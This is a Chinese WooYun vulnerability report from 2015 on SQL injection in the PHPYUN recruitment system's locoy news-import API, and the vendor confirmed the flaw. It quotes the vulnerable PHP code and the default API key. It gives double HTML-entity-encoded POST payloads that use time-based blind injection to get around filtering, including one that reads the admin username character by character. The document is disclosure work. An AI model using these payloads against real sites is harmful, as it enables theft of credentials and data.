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缺陷编号:wooyun-2015-0127257

漏洞标题:PHPYUN无视GPC(可注入全站信息)

相关厂商:php云人才系统

漏洞作者: menmen519

提交时间:2015-07-20 10:59

修复时间:2015-10-21 21:18

公开时间:2015-10-21 21:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-23: 厂商已经确认,细节仅向厂商公开
2015-07-26: 细节向第三方安全合作伙伴开放
2015-09-16: 细节向核心白帽子及相关领域专家公开
2015-09-26: 细节向普通白帽子公开
2015-10-06: 细节向实习白帽子公开
2015-10-21: 细节向公众公开

简要描述:

PHPYUN无视GPC(可注入全站信息) 180个字符的注入,等于没有限制,什么都能注入出来

详细说明:

首先我们看这个文件:
api/locoy/model/news.class.php:

class news_controller extends common{
function addnews_action(){//新闻添加
include("locoy_config.php");
if($locoyinfo['locoy_online']!=1){
echo 4;die;
}
if($locoyinfo['locoy_key']!=trim($_GET['key'])){
echo 5;die;
}
if(!$_POST['title'] || !$_POST['content'] || !$_POST['nid']){
echo 2;die;
}
$row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'");
if(is_array($row)){
echo 3;die;
}
$content=$_POST['content'];

$value="";
$value.="`title`='".trim($_POST['title'])."',";
$value.="`nid`='".$_POST['nid']."',";
$value.="`did`='0',";
$value.="`author`='".$_POST['author']."',";
$description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk");
$description=$_POST['description']?$_POST['description']:$description;
$description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description);
$value.="`description`='".$description."',";
$value.="`source`='".$_POST['source']."'";
if($_POST['ctime']){
$value.=",`datetime`='".strtotime($_POST['ctime'])."'";
}else{
$value.=",`datetime`='".time()."'";
}
if($_POST['hits']){
$value.=",`hits`='".trim($_POST['hits'])."'";
}else{
$row=explode('-',$locoyinfo['locoy_rand']);
if(is_array($row)){
$rand=rand(trim($row[0]),trim($row[1]));
}else{
$rand=!trim($row)?0:$row;
}
$value.=",`hits`='".$rand."'";
}
if($_POST['sort']){
$value.=",`sort`='".trim($_POST['sort'])."'";
}else{
$row=explode('-',$locoyinfo['locoy_sort']);
if(is_array($row)){
$rand=rand(trim($row[0]),trim($row[1]));
}else{
$rand=!trim($row)?0:$row;
}
$value.=",`sort`='".$rand."'";
}
if($_POST['newsphoto']){
$value.=",`newsphoto`='".trim($_POST['newsphoto'])."'";
}
if($_POST['s_thumb']){
$value.=",`s_thumb`='".trim($_POST['s_thumb'])."'";
}
if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){
require(LIB_PATH."lib_splitword_class.php");
$sp = new SplitWord();
$keywordarr=$sp->getkeyword(strip_tags(html_entity_decode($content)));
$value.=",`keyword`='".strip_tags(@implode(",",$keywordarr))."'";
}elseif($_POST['keyword']){
$value.=",`keyword`='".str_replace(",",",",$_POST['keyword'])."'";
}
$new_base = $this->obj->DB_insert_once("news_base",$value);


这个里面有几个条件要说明一下:
1.$locoyinfo['locoy_key']!=trim($_GET['key'])
我们搜索一下:
locoy_config.php里面 默认安装的话,就是
$locoyinfo=array("locoy_online"=>"1","locoy_name"=>"yun_","locoy_pwd"=>"12345678","locoy_key"=>"phpyun","co
找来找去都没有发现设置更改这个配置的地方,在后台的添加新闻的地方也没有找到,不管这个配置是硬编码的还是怎么样,反正是默认配置
条件2:
$row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'");
if(is_array($row)){
echo 3;die;
}
这个语句必须查不到,也就是说数据库里面不存在这个新闻
条件3 if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){ 这个逻辑不要进来,不然就会报错
然后我们看看问题点:

$description=mb_substr(strip_tags(html_entity_decode($content,ENT_NOQUOTES,"GB2312")),0,180,"gbk");
$description=$_POST['description']?$_POST['description']:$description;
$description=str_replace(array(' ',"\n","\r","\r\n"," "),array(''),$description);


发现了没有我们只要对数据进行实体编码即可
所有的空格都会被去掉,那么我们比如sleep(5)可以写成slee p(5)
解码后有180个字符的范围,那么我们就可以什么都能注射出来
url:
http://localhost/phpyun40/upload/api/locoy/index.php?m=news&c=addnews&key=phpyun
postdata:
title=xxxx&content=1'*slee p(5)#&nid=567&keyword=xxxxxx
编码一层:
title=xxxx&content=1'*slee p(5)#&nid=567&keyword=xxxxxx
再编码一层:
title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2335%3B&nid=567&keyword=xxxxxx
这样发送url:
http://localhost/phpyun40/upload/api/locoy/index.php?m=news&c=addnews&key=phpyun
postdata:
title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2335%3B&nid=567&keyword=xxxxxx
后台抓取sql为:
INSERT INTO `phpyun_news_base` SET `title`='xxxx',`nid`='567',`did`='0',`author`='',`description`='1'*sleep(5)#',`source`='',`datetime`='1437052963',`hits`='',`sort`='',`keyword`='xxxxxx'

1.png


后续进行猜测的,180个字符随便来,记得里面的nid每次请求一次都要变一次
在所有的关键字里面都加一个空格
postdata:
title=xxxx&content=%26%2349%3B%26%2339%3B%26%2342%3B%26%23105%3B%26%2332%3B%26%23102%3B%26%2340%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23105%3B%26%23105%3B%26%2340%3B%26%23115%3B%26%23117%3B%26%2398%3B%26%23115%3B%26%23116%3B%26%23114%3B%26%2340%3B%26%2340%3B%26%23115%3B%26%23101%3B%26%23108%3B%26%23101%3B%26%2332%3B%26%2399%3B%26%23116%3B%26%2396%3B%26%23117%3B%26%23115%3B%26%23101%3B%26%23114%3B%26%23110%3B%26%2397%3B%26%23109%3B%26%23101%3B%26%2396%3B%26%23102%3B%26%23114%3B%26%2332%3B%26%23111%3B%26%23109%3B%26%2396%3B%26%23112%3B%26%23104%3B%26%23112%3B%26%23121%3B%26%23117%3B%26%23110%3B%26%2395%3B%26%2397%3B%26%23100%3B%26%23109%3B%26%23105%3B%26%23110%3B%26%2395%3B%26%23117%3B%26%23115%3B%26%23101%3B%26%23114%3B%26%2396%3B%26%2341%3B%26%2344%3B%26%2349%3B%26%2344%3B%26%2349%3B%26%2341%3B%26%2341%3B%26%2361%3B%26%2357%3B%26%2355%3B%26%2344%3B%26%23115%3B%26%23108%3B%26%23101%3B%26%23101%3B%26%2332%3B%26%23112%3B%26%2340%3B%26%2353%3B%26%2341%3B%26%2344%3B%26%2349%3B%26%2341%3B%26%2335%3B&nid=5671&keyword=xxxxxx
抓取sql为:
INSERT INTO `phpyun_news_base` SET `title`='xxxx',`nid`='5671',`did`='0',`author`='',`description`='1'*if(ascii(substr((select`username`from`phpyun_admin_user`),1,1))=97,sleep(5),1)#',`source`='',`datetime`='1437053421',`hits`='',`sort`='',`keyword`='xxxxxx'

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-23 21:17

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无